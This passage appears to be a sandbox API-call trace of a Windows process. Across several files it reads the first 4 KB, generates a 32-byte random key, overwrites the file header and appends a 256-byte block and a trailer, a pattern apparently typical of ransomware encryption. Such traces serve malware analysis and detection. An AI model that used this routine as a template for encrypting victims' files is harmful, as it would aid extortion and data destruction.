0x540000 [0088.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.565] GetProcessHeap () returned 0x540000 [0088.565] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.565] GetProcessHeap () returned 0x540000 [0088.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.566] GetProcessHeap () returned 0x540000 [0088.566] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.566] GetProcessHeap () returned 0x540000 [0088.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.567] GetProcessHeap () returned 0x540000 [0088.567] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.568] GetProcessHeap () returned 0x540000 [0088.568] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.569] GetProcessHeap () returned 0x540000 [0088.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.569] GetProcessHeap () returned 0x540000 [0088.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.569] GetProcessHeap () returned 0x540000 [0088.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.569] GetProcessHeap () returned 0x540000 [0088.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.569] SetFilePointerEx (in: hFile=0x9c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.569] WriteFile (in: hFile=0x9c4, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.569] WriteFile (in: hFile=0x9c4, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.569] GetProcessHeap () returned 0x540000 [0088.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.569] GetProcessHeap () returned 0x540000 [0088.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.569] GetProcessHeap () returned 0x540000 [0088.569] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.569] CloseHandle (hObject=0x9c4) returned 1 [0088.570] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 147 [0088.570] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.570] ReadFile (in: hFile=0x9c8, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.570] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.570] GetProcessHeap () returned 0x540000 [0088.570] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.570] GetProcessHeap () returned 0x540000 [0088.570] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.571] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.571] GetProcessHeap () returned 0x540000 [0088.571] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.571] ReadFile (in: hFile=0x9c8, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.620] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.620] WriteFile (in: hFile=0x9c8, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.620] GetProcessHeap () returned 0x540000 [0088.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.620] GetProcessHeap () returned 0x540000 [0088.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.620] GetProcessHeap () returned 0x540000 [0088.620] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.620] GetProcessHeap () returned 0x540000 [0088.620] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.620] GetProcessHeap () returned 0x540000 [0088.620] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.620] GetProcessHeap () returned 0x540000 [0088.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.621] GetProcessHeap () returned 0x540000 [0088.621] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.621] GetProcessHeap () returned 0x540000 [0088.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.622] GetProcessHeap () returned 0x540000 [0088.622] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.622] GetProcessHeap () returned 0x540000 [0088.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.623] GetProcessHeap () returned 0x540000 [0088.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.623] GetProcessHeap () returned 0x540000 [0088.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.624] GetProcessHeap () returned 0x540000 [0088.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.624] GetProcessHeap () returned 0x540000 [0088.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.624] GetProcessHeap () returned 0x540000 [0088.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.624] GetProcessHeap () returned 0x540000 [0088.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.624] GetProcessHeap () returned 0x540000 [0088.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.624] GetProcessHeap () returned 0x540000 [0088.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.624] GetProcessHeap () returned 0x540000 [0088.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.624] GetProcessHeap () returned 0x540000 [0088.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.624] GetProcessHeap () returned 0x540000 [0088.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.624] GetProcessHeap () returned 0x540000 [0088.624] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.624] GetProcessHeap () returned 0x540000 [0088.624] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.625] GetProcessHeap () returned 0x540000 [0088.625] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.626] GetProcessHeap () returned 0x540000 [0088.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.626] GetProcessHeap () returned 0x540000 [0088.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.626] GetProcessHeap () returned 0x540000 [0088.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.626] SetFilePointerEx (in: hFile=0x9c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.626] WriteFile (in: hFile=0x9c8, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.626] WriteFile (in: hFile=0x9c8, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.626] GetProcessHeap () returned 0x540000 [0088.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.626] GetProcessHeap () returned 0x540000 [0088.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.626] GetProcessHeap () returned 0x540000 [0088.626] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.626] CloseHandle (hObject=0x9c8) returned 1 [0088.628] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 148 [0088.628] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.628] ReadFile (in: hFile=0x9cc, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.628] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.628] GetProcessHeap () returned 0x540000 [0088.628] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.628] GetProcessHeap () returned 0x540000 [0088.628] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.628] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.628] GetProcessHeap () returned 0x540000 [0088.628] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.628] ReadFile (in: hFile=0x9cc, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.678] SetFilePointerEx (in: hFile=0x9cc, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.678] WriteFile (in: hFile=0x9cc, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.678] GetProcessHeap () returned 0x540000 [0088.678] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.678] GetProcessHeap () returned 0x540000 